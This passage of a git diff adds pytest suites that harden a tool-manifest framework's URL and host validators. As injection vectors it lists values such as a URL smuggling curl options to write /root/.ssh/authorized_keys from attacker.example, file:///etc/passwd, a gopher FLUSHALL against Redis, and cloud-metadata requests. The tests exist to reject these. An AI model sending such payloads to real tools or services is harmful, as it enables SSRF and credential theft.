pytest.raises(ValueError, match="unknown key"): + load_manifest_with_options(path, LoadOptions()) + assert LoadOptions().allow_unknown_keys is False + + def test_option_downgrades_to_warning(self, tmp_path, capsys): + path = _write(tmp_path, _doc(tool="tiemout_seconds = 5\nzzz = 1\n")) + m = load_manifest_with_options(path, LoadOptions(allow_unknown_keys=True)) + assert m.tool.name == "t" + assert m.tool.timeout_seconds == 60 # the typo was not honored + err = capsys.readouterr().err + assert "warning: unknown key 'tool.tiemout_seconds' in manifest\n" in err + assert "warning: unknown key 'tool.zzz' in manifest\n" in err + + def test_cli_validate_refuses_by_default(self, tmp_path): + path = _write(tmp_path, _doc(tool="tiemout_seconds = 5\n")) + result = CliRunner().invoke(main, ["validate", path]) + assert result.exit_code == 1 + assert "ERROR: unknown key 'tool.tiemout_seconds' in manifest" in result.output + + def test_cli_validate_flag_warns_and_loads(self, tmp_path): + path = _write(tmp_path, _doc(tool="tiemout_seconds = 5\n")) + result = CliRunner().invoke(main, ["validate", "--allow-unknown-keys", path]) + assert result.exit_code == 0, result.output + assert "warning: unknown key 'tool.tiemout_seconds' in manifest" in result.stderr + assert "OK" in result.output + + def test_cli_other_subcommands_stay_strict(self, tmp_path): + path = _write(tmp_path, _doc(tool="tiemout_seconds = 5\n")) + for argv in (["schema", path], ["test", path, "--arg", "target=x"]): + result = CliRunner().invoke(main, argv) + assert result.exit_code == 1, argv + assert "unknown key 'tool.tiemout_seconds'" in result.output + + +# --------------------------------------------------------------------------- +# tool.mode +# --------------------------------------------------------------------------- + +class TestToolMode: + def test_mode_derived_oneshot(self, tmp_path): + assert _load(tmp_path, _doc()).tool.mode == "oneshot" + + def test_mode_derived_session(self, tmp_path): + m = _load(tmp_path, _SESSION.format(command="", arg="")) + assert m.tool.mode == "session" + + def test_mode_derived_browser(self, tmp_path): + m = _load(tmp_path, _BROWSER.format(browser="", command="", arg="")) + assert m.tool.mode == "browser" + + def test_mode_explicit_is_kept(self, tmp_path): + m = _load(tmp_path, _doc(tool='mode = "oneshot"\n')) + assert m.tool.mode == "oneshot" + # Advisory only: a declared mode is not cross-checked against sections. + m = _load(tmp_path, _SESSION.format(command="", arg="").replace( + 'name = "s"', 'name = "s"\nmode = "oneshot"')) + assert m.tool.mode == "oneshot" + + def test_mode_invalid_is_load_error(self, tmp_path): + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc(tool='mode = "turbo"\n')) + assert str(exc.value) == ( + "invalid mode 'turbo', must be one of: oneshot, session, browser" + ) + + def test_mode_empty_is_load_error(self, tmp_path): + with pytest.raises(ValueError, match="invalid mode ''"): + _load(tmp_path, _doc(tool='mode = ""\n')) + + +# --------------------------------------------------------------------------- +# Every key in the allowlist is accepted (drift guard) +# --------------------------------------------------------------------------- + +_ALL_ONESHOT = """\ +[tool] +name = "w2_oneshot" +version = "1.0.0" +binary = "echo" +description = "every oneshot key" +timeout_seconds = 5 +risk_tier = "low" +human_approval = false +dispatch = "exec" +mode = "oneshot" +network_egress = false +allow_interpreter = false + +[tool.cedar] +resource = "Tool::Echo" +action = "execute_tool" + +[tool.evidence] +output_dir = "" +capture = false +hash = "sha256" +screenshots = false + +[tool.limits] +nproc = 64 +nofile = 256 +fsize_bytes = 1048576 +address_space_bytes = 268435456 +cpu_seconds = 10 + +[args.target] +position = 1 +required = true +type = "scope_target" +description = "host" +scope_check = false +block_internal = true +allow_leading_dash = false +allow_whitespace = false + +[args.count] +position = 2 +required = false +type = "integer" +default = 1 +min = 0 +max = 10 +clamp = true + +[args.ratio] +position = 3 +required = false +type = "number" +default = 0.5 +min_float = 0.0 +max_float = 1.0 + +[args.mode] +position = 4 +required = false +type = "enum" +allowed = ["fast", "slow"] +default = "fast" + +[args.note] +position = 5 +required = false +type = "string" +default = "" +pattern = "^[a-z]*$" +sanitize = ["injection"] + +[args.link] +position = 6 +required = false +type = "url" +default = "https://example.com/" +schemes = ["https"] + +[command] +template = "echo {target}" +exec = ["echo", "{_mode_flags}", "{count}", "{ratio}", "{_note_flag}", "{extra}", "{target}"] +executor = "" +end_of_options = "--" + +[command.defaults] +extra = "x" + +[command.mappings.mode] +fast = "-f" +slow = "" + +[command.conditionals.note_flag] +when = "note != ''" +template = "-n {note}" + +[output] +format = "text" +parser = "builtin:text" +envelope = true +max_bytes = 8388608 + +[output.schema] +type = "object" +""" + +_ALL_SESSION_BROWSER = """\ +[tool] +name = "w2_session_browser" +mode = "session" + +[session] +startup_command = "echo" +ready_pattern = "^> $" +startup_timeout_seconds = 5 +idle_timeout_seconds = 60 +session_timeout_seconds = 600 +max_interactions = 10 + +[session.interaction] +input_sanitize = ["injection"] +output_max_bytes = 4096 +output_wait_ms = 100 + +[session.child_detection] +pattern = "^\\\\$ $" +type = "shell" +manifest = "child.clad.toml" + +[session.commands.select] +pattern = "^SELECT .+$" +description = "select" +risk_tier = "low" +human_approval = false +extract_target = false + +[session.commands.select.args.limit] +position = 1 +required = false +type = "integer" +description = "row limit" +default = 10 +min = 1 +max = 100 +clamp = true + +[browser] +engine = "cdp" +headless = true +connect = "launch" +extract_mode = "accessibility_tree" +startup_timeout_seconds = 5 +session_timeout_seconds = 600 +idle_timeout_seconds = 60 +max_interactions = 10 + +[browser.defaults] +extract_mode = "accessibility_tree" + +[browser.scope] +allowed_domains = ["*.example.com"] +blocked_domains = ["evil.example.com"] +allow_external = false + +[browser.commands.navigate] +description = "navigate" +risk_tier = "medium" +human_approval = false + +[browser.commands.navigate.args.url] +position = 1 +required = true +type = "url" +description = "destination" +schemes = ["https"] +block_internal = true + +[browser.state] +fields = ["url", "title"] + +[output] +format = "json" +""" + +_ALL_HTTP_MCP = """\ +[tool] +name = "w2_http_mcp" +version = "1.0.0" +binary = "" + +[args.id] +position = 1 +required = true +type = "string" + +[http] +method = "GET" +url = "https://api.example.com/{id}" +body_template = "{\\"id\\": \\"{id}\\"}" +success_status = [200] +error_status = [500] + +[http.headers] +Accept = "application/json" + +[mcp] +server = "scanner" +tool = "run" + +[mcp.field_map] +id = "identifier" + +[output] +format = "json" +""" + +_ALL_DOCS = (_ALL_ONESHOT, _ALL_SESSION_BROWSER, _ALL_HTTP_MCP) + + +class TestEveryKnownKeyAccepted: + def test_oneshot_manifest_loads(self, tmp_path): + m = _load(tmp_path, _ALL_ONESHOT) + assert m.tool.mode == "oneshot" + assert m.tool.network_egress is False + assert m.tool.allow_interpreter is False + assert m.tool.evidence.screenshots is False + assert m.tool.limits.nproc == 64 + assert m.tool.limits.cpu_seconds == 10 + assert m.args["target"].block_internal is True + assert m.output is not None + assert m.output.max_bytes == 8388608 + assert m.command.end_of_options == "--" + assert build_command_argv(m, {"target": "example.com"}) == [ + "echo", "-f", "--", "1", "0.5", "x", "example.com", + ] + + def test_session_browser_manifest_loads(self, tmp_path): + m = _load(tmp_path, _ALL_SESSION_BROWSER) + assert m.session is not None and m.browser is not None + assert m.session.child_detection is not None + assert m.session.child_detection.type == "shell" + assert m.session.child_detection.manifest == "child.clad.toml" + assert m.session.commands["select"].args["limit"].max == 100 + assert m.browser.defaults is not None + assert m.browser.defaults.extract_mode == "accessibility_tree" + assert m.browser.commands["navigate"].args["url"].block_internal is True + + def test_http_mcp_manifest_loads(self, tmp_path): + m = _load(tmp_path, _ALL_HTTP_MCP) + assert m.http is not None and m.mcp is not None + assert m.http.error_status == [500] + assert m.mcp.field_map == {"id": "identifier"} + + def test_inert_defaults_when_absent(self, tmp_path): + m = _load(tmp_path, _doc()) + assert m.tool.network_egress is False + assert m.tool.allow_interpreter is False + assert m.tool.evidence.screenshots is False + assert m.tool.limits.nproc is None + assert m.tool.limits.address_space_bytes is None + assert m.args["target"].block_internal is False + assert m.output is not None + assert m.output.max_bytes == 8388608 + + def test_acceptance_manifests_cover_the_whole_allowlist(self): + """The three manifests above use every (section, key) in MANIFEST_KEYS. + + Keeps the allowlist from gaining a key no test exercises, and keeps + the test from drifting away from the table. + """ + covered: Dict[str, Set[str]] = defaultdict(set) + for doc in _ALL_DOCS: + for spec, path, key, known in _walk_keys(tomllib.loads(doc)): + assert known, path + covered[spec].add(key) + + arg_keys = MANIFEST_KEYS["args."] + for spec, keys in MANIFEST_KEYS.items(): + if spec.endswith(".args.") and spec != "args.": + # Nested command arguments share the top-level argument key + # set, which the [args.*] tables exercise in full. + assert keys is arg_keys, spec + assert covered[spec], spec + continue + assert covered[spec] == keys, spec + assert set(covered) == set(MANIFEST_KEYS) + + +# --------------------------------------------------------------------------- +# Shipped examples keep loading +# --------------------------------------------------------------------------- + +_EXAMPLES = Path(__file__).resolve().parents[2] / "examples" + + +@pytest.mark.skipif(not _EXAMPLES.is_dir(), reason="examples/ not present") +class TestShippedExamples: + @pytest.mark.parametrize("name", [ + "curl_fetch", "dig_lookup", "nikto_scan", "nmap_scan", "whois_lookup", + ]) + def test_example_has_no_unknown_keys(self, name): + with open(_EXAMPLES / f"{name}.clad.toml", "rb") as f: + assert find_unknown_keys(tomllib.load(f)) == [] + + @pytest.mark.parametrize("name", [ + "curl_fetch", "dig_lookup", "nmap_scan", "whois_lookup", + ]) + def test_example_loads(self, name): + m = load_manifest(str(_EXAMPLES / f"{name}.clad.toml")) + assert m.tool.name == name + assert m.output is not None and m.output.max_bytes == 8388608 + + def test_nikto_fails_only_on_custom_types(self): + """nikto uses custom types from toolclad.toml; any load error must be + about those, never about an unknown key.""" + try: + m = load_manifest(str(_EXAMPLES / "nikto_scan.clad.toml")) + except ValueError as exc: + assert "unknown key" not in str(exc) + else: + assert m.tool.network_egress is True + assert m.args["target"].block_internal is True + + +# --------------------------------------------------------------------------- +# Unknown argument names are refused at call time +# --------------------------------------------------------------------------- + +class TestUnknownArgumentRefused: + def test_execute_dry_run_refuses_undeclared_arg(self, tmp_path): + m = _load(tmp_path, _doc()) + with pytest.raises(ValidationError) as exc: + execute(m, {"target": "x", "extra_flags": "-iL /etc/passwd"}, dry_run=True) + assert str(exc.value) == ( + "unknown argument 'extra_flags' (declared arguments: target)" + ) + + def test_declared_arguments_listed_by_position(self, tmp_path): + doc = _doc(tail='[args.zeta]\nposition = 0\nrequired = false\ntype = "string"\ndefault = ""\n') + m = _load(tmp_path, doc) + with pytest.raises(ValidationError, match=r"\(declared arguments: zeta, target\)"): + build_command_argv(m, {"target": "x", "bogus": "1"}) + + def test_several_unknown_arguments_all_named(self, tmp_path): + m = _load(tmp_path, _doc()) + with pytest.raises(ValidationError) as exc: + execute(m, {"target": "x", "b": "1", "a": "2"}, dry_run=True) + assert str(exc.value) == ( + "unknown argument 'a' (declared arguments: target); " + "unknown argument 'b' (declared arguments: target)" + ) + + def test_executor_escape_hatch_refuses_undeclared_arg(self, tmp_path): + doc = ( + '[tool]\nname = "t"\n\n[command]\nexecutor = "/bin/true"\n\n' + '[output]\nformat = "text"\n' + ) + m = _load(tmp_path, doc) + with pytest.raises(ValidationError) as exc: + execute(m, {"nope": "1"}, dry_run=True) + assert str(exc.value) == "unknown argument 'nope' (declared arguments: none)" + + def test_http_refuses_undeclared_arg(self, tmp_path): + m = _load(tmp_path, _HTTP.format(http="")) + with pytest.raises(ValidationError, match=r"unknown argument 'zzz'"): + execute(m, {"id": "1", "zzz": "1"}, dry_run=True) + assert execute(m, {"id": "1"}, dry_run=True)["status"] == "dry_run" + + def test_declared_args_still_accepted(self, tmp_path): + m = _load(tmp_path, _doc()) + env = execute(m, {"target": "hello"}, dry_run=True) + assert env["status"] == "dry_run" + assert env["command"] == "echo hello" + + def test_cli_test_refuses_undeclared_arg(self, tmp_path): + path = _write(tmp_path, _doc()) + result = CliRunner().invoke( + main, ["test", path, "--arg", "target=x", "--arg", "bogus=1"] + ) + assert result.exit_code == 1 + assert "unknown argument 'bogus' (declared arguments: target)" in result.output diff --git a/python/tests/test_hardening_w3.py b/python/tests/test_hardening_w3.py new file mode 100644 index 0000000..ad81e24 --- /dev/null +++ b/python/tests/test_hardening_w3.py @@ -0,0 +1,725 @@ +"""Tests for the structural ``url`` validator, the shared host / IP egress +policy and ``{_secret:…}`` ordering in the HTTP backend. + +Covers the ``url-`` vectors of the shared injection suite (asserted inline +here; the shared JSON file is read in a later wave), the scheme allowlist +and denylist, userinfo and port handling, the range table in +``toolclad.hostpolicy`` applied to ``url``, ``scope_target``, ``ip_address`` +and ``cidr``, the canonical-literal parsers in front of it, and the rule +that manifest secrets are expanded before argument interpolation. + +No network tool is ever executed and no request is ever made: every HTTP +manifest here runs with ``dry_run=True`` or against a stubbed ``urlopen`` +that records the built request and touches no socket. +""" + +from __future__ import annotations + +import ipaddress +import textwrap + +import pytest + +from toolclad.executor import _interpolate_http, build_command_argv, execute +from toolclad.hostpolicy import ( + ALWAYS_BLOCKED_V4, + ALWAYS_BLOCKED_V6, + BLOCK_INTERNAL_V4, + BLOCK_INTERNAL_V6, + always_blocked_ip_reason, + enforce_ip_policy, + has_punycode_label, + looks_like_ip_literal, + non_public_ip_reason, + parse_canonical_cidr, + parse_canonical_ip, + tld_not_all_numeric, +) +from toolclad.manifest import ArgDef, HttpDef, Manifest, ToolMeta, load_manifest +from toolclad.validator import ValidationError, _split_url_authority, validate_arg + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _arg(type: str, **kwargs) -> ArgDef: # noqa: A002 + return ArgDef(name="test", type=type, **kwargs) + + +def _ip(text: str): + return ipaddress.ip_address(text) + + +def _rejects(arg_def: ArgDef, value: str, *needles: str) -> str: + """Assert ``value`` is refused and every needle appears in the message.""" + with pytest.raises(ValidationError) as exc: + validate_arg(arg_def, value) + msg = str(exc.value) + for needle in needles: + assert needle in msg, f"{value!r}: expected {needle!r} in {msg!r}" + return msg + + +# --------------------------------------------------------------------------- +# The url- vectors of the shared injection suite +# --------------------------------------------------------------------------- + +# (id, arg fields, value, expectation). A local cross-check of the url- +# vectors in tests/injection_vectors.json; the whole file is consumed by +# test_injection_vectors.py. +_URL_VECTORS = [ + ("url-space-option-injection", {}, "https://attacker.example/ -o /root/.ssh/authorized_keys", "reject"), + ("url-space-write-tmp", {}, "https://attacker.example/ -o /tmp/pwned", "reject"), + ("url-secret-smuggling", {}, "https://attacker.example/?k={_secret:api_key}", "reject"), + ("url-javascript-scheme", {}, "javascript:alert(1)", "reject"), + ("url-file-scheme", {}, "file:///etc/passwd", "reject"), + ("url-data-scheme", {}, "data:text/html,", "reject"), + ("url-gopher-redis", {}, "gopher://127.0.0.1:6379/_FLUSHALL", "reject"), + ("url-dict-scheme", {}, "dict://127.0.0.1:11211/stat", "reject"), + ("url-userinfo", {}, "http://user:pw@example.com/", "reject"), + ("url-metacharacter", {}, "https://attacker.example/;id", "reject"), + ("url-scheme-not-in-list", {"schemes": ["https"]}, "http://example.com/", "reject"), + ("url-imds-always-blocked", {}, "http://169.254.169.254/latest/meta-data/", "reject"), + ("url-docker-socket-block-internal", {"block_internal": True}, "http://127.0.0.1:2375/containers/json", "reject"), + ("url-ipv6-loopback-block-internal", {"block_internal": True}, "http://[::1]:8080/", "reject"), + ("url-accept", {}, "https://example.com/path", "accept"), + ("url-accept-public-ip-block-internal", {"block_internal": True}, "https://93.184.216.34/x", "accept"), +] + + +class TestUrlInjectionVectors: + @pytest.mark.parametrize( + "vector_id,fields,value,expect", + _URL_VECTORS, + ids=[v[0] for v in _URL_VECTORS], + ) + def test_vector(self, vector_id, fields, value, expect): + arg_def = _arg("url", **fields) + if expect == "accept": + assert validate_arg(arg_def, value) == value + else: + with pytest.raises(ValidationError): + validate_arg(arg_def, value) + + def test_every_vector_id_is_covered_once(self): + ids = [v[0] for v in _URL_VECTORS] + assert len(ids) == len(set(ids)) == 16 + + +# --------------------------------------------------------------------------- +# Structural parse: scheme, denylist, userinfo, host, port +# --------------------------------------------------------------------------- + +class TestUrlStructure: + def test_requires_scheme_separator(self): + _rejects(_arg("url"), "not-a-url", "Invalid URL", "scheme://host") + _rejects(_arg("url"), "example.com/path", "Invalid URL") + _rejects(_arg("url"), "http:/example.com", "Invalid URL") + + def test_default_schemes_are_http_and_https(self): + assert validate_arg(_arg("url"), "http://example.com/") == "http://example.com/" + assert validate_arg(_arg("url"), "https://example.com/") == "https://example.com/" + _rejects(_arg("url"), "ftp://example.com/", "scheme 'ftp'", "not permitted", "http, https") + _rejects(_arg("url"), "ssh://example.com/", "scheme 'ssh'", "not permitted") + + def test_schemes_list_is_honored(self): + # The regression the shared suite pins: a manifest that allows only + # https must refuse http. + _rejects(_arg("url", schemes=["https"]), "http://example.com/", "scheme 'http'", "allowed: https") + assert validate_arg(_arg("url", schemes=["https"]), "https://example.com/") + # A listed non-default scheme is admitted as long as it is not denied. + assert validate_arg(_arg("url", schemes=["sftp"]), "sftp://example.com/x") + _rejects(_arg("url", schemes=["sftp"]), "https://example.com/", "allowed: sftp") + + def test_scheme_comparison_is_case_insensitive(self): + assert validate_arg(_arg("url"), "HTTPS://Example.COM/x") == "HTTPS://Example.COM/x" + assert validate_arg(_arg("url", schemes=["https"]), "HTTPS://example.com/") + assert validate_arg(_arg("url", schemes=["HTTPS"]), "https://example.com/") + + @pytest.mark.parametrize( + "scheme", + ["javascript", "data", "file", "blob", "about", "gopher", "dict", "ftp", + "ldap", "jar", "netdoc", "mailto", "ws", "wss"], + ) + def test_denied_scheme_is_refused_even_when_listed(self, scheme): + _rejects( + _arg("url", schemes=[scheme, "https"]), + f"{scheme}://example.com/x", + f"scheme '{scheme}'", + "never permitted", + ) + + def test_file_scheme_to_localhost(self): + _rejects(_arg("url"), "file://localhost/etc/passwd", "scheme 'file'") + _rejects(_arg("url", schemes=["file"]), "file://localhost/etc/passwd", "never permitted") + + def test_userinfo_rejected(self): + _rejects(_arg("url"), "http://user:pw@example.com/", "userinfo") + _rejects(_arg("url"), "http://example.com@evil.example/", "userinfo") + _rejects(_arg("url"), "https://example.com@93.184.216.34:8080/x", "userinfo") + + def test_at_sign_after_authority_is_not_userinfo(self): + assert validate_arg(_arg("url"), "https://example.com/@handle") + assert validate_arg(_arg("url"), "https://example.com?u=a@b") + assert validate_arg(_arg("url"), "https://example.com#@frag") + + def test_host_ends_at_path_query_or_fragment(self): + assert validate_arg(_arg("url"), "https://example.com/a/b") + assert validate_arg(_arg("url"), "https://example.com?x=1") + assert validate_arg(_arg("url"), "https://example.com#top") + assert validate_arg(_arg("url"), "https://example.com") + + def test_empty_host_rejected(self): + for value in ("http://", "http:///path", "http://:80/", "http://?x=1", "http://#f"): + _rejects(_arg("url"), value, "empty host") + + def test_explicit_port_accepted(self): + assert validate_arg(_arg("url"), "https://example.com:8443/x") == "https://example.com:8443/x" + assert validate_arg(_arg("url"), "http://example.com:1/") + assert validate_arg(_arg("url"), "http://example.com:65535/") + assert validate_arg(_arg("url"), "https://93.184.216.34:8443/x") + + @pytest.mark.parametrize( + "value", + [ + "https://example.com:0/x", + "https://example.com:99999/x", + "https://example.com:65536/x", + "https://example.com:/x", + "https://example.com:8a/x", + "https://example.com:+80/x", + "https://example.com:" + "9" * 5000 + "/x", + ], + ) + def test_bad_port_rejected(self, value): + _rejects(_arg("url"), value, "port must be 1-65535") + + def test_unbracketed_ipv6_host_rejected(self): + _rejects(_arg("url"), "http://::1/", "enclosed in brackets") + _rejects(_arg("url"), "http://fe80::1:80/", "enclosed in brackets") + + def test_bracketed_ipv6_url_is_refused_at_the_metacharacter_stage(self): + # `[` and `]` are shell metacharacters in every runtime, so a + # bracketed literal never reaches the policy through validate_arg; + # the authority splitter below is exercised directly. + _rejects(_arg("url"), "http://[::1]:8080/", "shell metacharacters") + _rejects(_arg("url", block_internal=True), "http://[::1]:8080/", "shell metacharacters") + _rejects(_arg("url"), "http://[::ffff:169.254.169.254]/", "shell metacharacters") + + def test_authority_splitter_unwraps_bracketed_ipv6(self): + assert _split_url_authority("[::1]:8080") == ("::1", 8080, ipaddress.IPv6Address("::1")) + assert _split_url_authority("[::1]") == ("::1", None, ipaddress.IPv6Address("::1")) + assert _split_url_authority("example.com:8080") == ("example.com", 8080, None) + assert _split_url_authority("example.com") == ("example.com", None, None) + assert _split_url_authority("93.184.216.34") == ("93.184.216.34", None, None) + + @pytest.mark.parametrize( + "authority,needle", + [ + ("[::1", "malformed bracketed IPv6"), + ("[::1]x", "malformed bracketed IPv6"), + ("[example]", "not a valid IPv6 literal"), + ("[127.0.0.1]", "not a valid IPv6 literal"), + ("[fe80::1%eth0]", "not a valid IPv6 literal"), + ("[]", "not a valid IPv6 literal"), + ("[::1]:", "port must be 1-65535"), + ("[::1]:0", "port must be 1-65535"), + ("", "empty host"), + (":80", "empty host"), + ("a:b:c", "enclosed in brackets"), + ], + ) + def test_authority_splitter_rejects_malformed_shapes(self, authority, needle): + with pytest.raises(ValidationError, match=needle): + _split_url_authority(authority) + + def test_bracketed_ipv6_policy_through_the_splitter(self): + # What the policy would say for a bracketed loopback once the + # splitter has unwrapped it. + host, port, v6 = _split_url_authority("[::1]:8080") + assert (host, port) == ("::1", 8080) + with pytest.raises(ValidationError, match="IPv6 loopback ::1"): + enforce_ip_policy("test", v6, True) + enforce_ip_policy("test", v6, False) + _, _, mapped = _split_url_authority("[::ffff:169.254.169.254]") + with pytest.raises(ValidationError, match="always blocked"): + enforce_ip_policy("test", mapped, False) + + @pytest.mark.parametrize( + "value", + [ + "http://", "http:///", "http://[", "http://]", "http://[]", "http://:", + "http://a:b:c", "://", "http://" + "a" * 300 + "/", "http://..", + "http://a..b/", "http://-a.com/", "http://a-.com/", "http://.example.com/", + "http://example..com/", "http://" + "a" * 64 + ".com/", "http://%41/", + "http://a b/", "http://a\tb/", "http://\x00/", "http://exa'mple.com/", + "-http://example.com/", "HTTP://", "http://example.com:" + "1" * 10000, + ], + ) + def test_malformed_input_always_raises_validation_error(self, value): + with pytest.raises(ValidationError): + validate_arg(_arg("url"), value) + + +# --------------------------------------------------------------------------- +# Host policy applied to url hosts +# --------------------------------------------------------------------------- + +class TestUrlHostPolicy: + def test_imds_always_blocked_with_policy_off_and_on(self): + for block_internal in (False, True): + msg = _rejects( + _arg("url", block_internal=block_internal), + "http://169.254.169.254/latest/meta-data/", + "always blocked", + ) + assert msg == ( + "argument 'test' target is a link-local / cloud-metadata address " + "(169.254.0.0/16) — always blocked" + ) + _rejects(_arg("url", block_internal=block_internal), "http://169.254.1.1:80/", "always blocked") + + def test_block_internal_loopback(self): + msg = _rejects(_arg("url", block_internal=True), "http://127.0.0.1/", "loopback") + assert msg == ( + "argument 'test' target resolves to a loopback address " + "(blocked by block_internal policy)" + ) + _rejects(_arg("url", block_internal=True), "http://127.0.0.1:2375/containers/json", "loopback") + _rejects(_arg("url", block_internal=True), "http://127.255.255.254/", "loopback") + + def test_block_internal_private_and_special_ranges(self): + cases = [ + ("http://10.0.0.5/", "private"), + ("http://172.16.0.1/", "private"), + ("http://192.168.1.1/", "private"), + ("http://100.64.0.1/", "carrier-grade NAT"), + ("http://0.0.0.0/", "unspecified"), + ("http://255.255.255.255/", "broadcast"), + ("http://192.0.2.1/", "documentation"), + ("http://198.18.0.1/", "benchmarking"), + ("http://240.0.0.1/", "reserved"), + ] + for value, word in cases: + _rejects(_arg("url", block_internal=True), value, word, "blocked by block_internal policy") + + def test_policy_off_admits_non_public_literals(self): + assert validate_arg(_arg("url"), "http://127.0.0.1/") == "http://127.0.0.1/" + assert validate_arg(_arg("url"), "http://10.0.0.5:8080/x") + assert validate_arg(_arg("url"), "http://192.168.1.1/") + + def test_public_literal_accepted_under_block_internal(self): + assert validate_arg(_arg("url", block_internal=True), "https://93.184.216.34/x") == "https://93.184.216.34/x" + assert validate_arg(_arg("url", block_internal=True), "https://8.8.8.8:853/") + # A name under block_internal is resolved (test_hardening_w4); with + # the policy off no lookup happens and the name is accepted as is. + assert validate_arg(_arg("url"), "https://example.com/") + + def test_punycode_host_rejected(self): + _rejects(_arg("url"), "https://xn--example-9c.com/", "punycode") + _rejects(_arg("url"), "https://sub.XN--example.com/", "punycode") + + @pytest.mark.parametrize( + "value", + ["http://2130706433/", "http://0x7f000001/", "http://0177.0.0.1/", "http://127.1/", "http://1.2.3/"], + ) + def test_non_canonical_literal_host_rejected(self, value): + _rejects(_arg("url"), value, "non-canonical IP literal") + + def test_non_ascii_host_rejected(self): + _rejects(_arg("url"), "https://exаmple.com/", "must be ASCII") # Cyrillic а + + def test_invalid_hostname_rejected(self): + _rejects(_arg("url"), "https://exa_mple.com/", "not a valid hostname") + _rejects(_arg("url"), "https://example.123/", "not a valid hostname") + _rejects(_arg("url"), "https://example.com./", "not a valid hostname") + + def test_host_length_limits(self): + _rejects(_arg("url"), "https://" + "a" * 64 + ".com/", "DNS length limits") + _rejects(_arg("url"), "https://" + ".".join(["a" * 60] * 5) + "/", "DNS length limits") + + def test_block_internal_applies_through_a_loaded_manifest(self, tmp_path): + p = tmp_path / "t.clad.toml" + p.write_text(textwrap.dedent("""\ + [tool] + name = "echo_url" + version = "1.0.0" + binary = "echo" + + [args.target] + position = 1 + required = true + type = "url" + block_internal = true + + [command] + exec = ["echo", "{target}"] + + [output] + format = "json" + """)) + m = load_manifest(str(p)) + assert m.args["target"].block_internal is True + assert build_command_argv(m, {"target": "https://93.184.216.34/x"}) == ["echo", "https://93.184.216.34/x"] + with pytest.raises(ValidationError, match="blocked by block_internal policy"): + build_command_argv(m, {"target": "http://127.0.0.1/"}) + with pytest.raises(ValidationError, match="always blocked"): + build_command_argv(m, {"target": "http://169.254.169.254/"}) + + +# --------------------------------------------------------------------------- +# Host policy applied to scope_target +# --------------------------------------------------------------------------- + +class TestScopeTargetPolicy: + @pytest.mark.parametrize( + "value,word", + [ + ("10.0.0.5", "private"), + ("192.168.1.1", "private"), + ("0.0.0.0", "unspecified"), + ("::1", "loopback"), + ("fc00::1", "unique-local"), + ("::ffff:127.0.0.1", "loopback"), + ("127.0.0.1", "loopback"), + ("100.64.0.1", "carrier-grade NAT"), + ("::", "unspecified"), + ("2001:db8::1", "documentation"), + ], + ) + def test_block_internal_rejects_non_public(self, value, word): + _rejects(_arg("scope_target", block_internal=True), value, word, "blocked by block_internal policy") + # Off by default: the same literal is admitted. + assert validate_arg(_arg("scope_target"), value) == value + + def test_block_internal_admits_public(self): + for value in ("93.184.216.34", "8.8.8.8", "2606:2800:220:1:248:1893:25c8:1946", "::ffff:93.184.216.34"): + assert validate_arg(_arg("scope_target", block_internal=True), value) == value + # A name under block_internal is resolved (test_hardening_w4); with + # the policy off no lookup happens and the name is accepted as is. + assert validate_arg(_arg("scope_target"), "example.com") == "example.com" + + @pytest.mark.parametrize("value", ["169.254.169.254", "169.254.0.1", "::ffff:169.254.169.254", "fe80::1", "febf::1"]) + def test_link_local_always_blocked(self, value): + for block_internal in (False, True): + _rejects(_arg("scope_target", block_internal=block_internal), value, "always blocked") + + def test_cidr_base_address_is_under_policy(self): + _rejects(_arg("scope_target", block_internal=True), "10.0.0.0/8", "private") + _rejects(_arg("scope_target", block_internal=True), "192.168.0.0/16", "private") + _rejects(_arg("scope_target", block_internal=True), "2001:db8::/32", "documentation") + _rejects(_arg("scope_target"), "169.254.0.0/16", "always blocked") + _rejects(_arg("scope_target", block_internal=True), "169.254.0.0/16", "always blocked") + assert validate_arg(_arg("scope_target", block_internal=True), "8.8.8.0/24") == "8.8.8.0/24" + assert validate_arg(_arg("scope_target"), "10.0.0.0/8") == "10.0.0.0/8" + # Host bits are still permitted, as before. + assert validate_arg(_arg("scope_target"), "10.0.0.1/8") == "10.0.0.1/8" + + @pytest.mark.parametrize( + "value", + ["2130706433", "0x7f000001", "0X7F000001", "0177.0.0.1", "127.1", "1.2.3", "010.0.0.1", "1.2.3.4.5", "256.1.1.1"], + ) + def test_non_canonical_literal_rejected(self, value): + _rejects(_arg("scope_target"), value, "non-canonical IP literal") + _rejects(_arg("scope_target", block_internal=True), value, "non-canonical IP literal") + + def test_all_numeric_tld_and_trailing_dot_rejected(self): + _rejects(_arg("scope_target"), "example.123", "Invalid scope target") + _rejects(_arg("scope_target"), "example.com.", "Invalid scope target") + + def test_zone_id_is_not_a_literal(self): + _rejects(_arg("scope_target"), "fe80::1%eth0", "Invalid scope target") + + def test_canonical_literals_still_accepted(self): + # A /0 range now fails the overlap test (it contains link-local + # space, test_hardening_w4); a /1 that does not is still canonical. + for value in ("93.184.216.34", "::ffff:93.184.216.34", "2606:2800:220:1:248:1893:25c8:1946", "0.0.0.0/1"): + assert validate_arg(_arg("scope_target"), value) == value + + +# --------------------------------------------------------------------------- +# Host policy applied to ip_address and cidr +# --------------------------------------------------------------------------- + +class TestIpAddressPolicy: + def test_canonical_only(self): + for value in ("2130706433", "0x7f000001", "0177.0.0.1", "127.1", "fe80::1%eth0", "[::1]", "1.2.3.4.5", "256.0.0.1"): + _rejects(_arg("ip_address"), value, "Invalid IP address") + assert validate_arg(_arg("ip_address"), "127.0.0.1") == "127.0.0.1" + assert validate_arg(_arg("ip_address"), "::ffff:127.0.0.1") == "::ffff:127.0.0.1" + + def test_policy(self): + _rejects(_arg("ip_address", block_internal=True), "127.0.0.1", "loopback", "blocked by block_internal policy") + _rejects(_arg("ip_address", block_internal=True), "::1", "loopback") + _rejects(_arg("ip_address", block_internal=True), "::ffff:10.1.2.3", "private") + for block_internal in (False, True): + _rejects(_arg("ip_address", block_internal=block_internal), "169.254.169.254", "always blocked") + _rejects(_arg("ip_address", block_internal=block_internal), "::ffff:169.254.169.254", "always blocked") + _rejects(_arg("ip_address", block_internal=block_internal), "fe80::1", "always blocked") + assert validate_arg(_arg("ip_address", block_internal=True), "93.184.216.34") == "93.184.216.34" + + +class TestCidrPolicy: + def test_canonical_only(self): + _rejects(_arg("cidr"), "10.0.0.1", "requires '/'") + for value in ("10.0.0.0/33", "10.0.0.0/+8", "10.0.0.0/08", "10.0.0.0/", "/8", "0x0a000000/8", + "10.0.0/8", 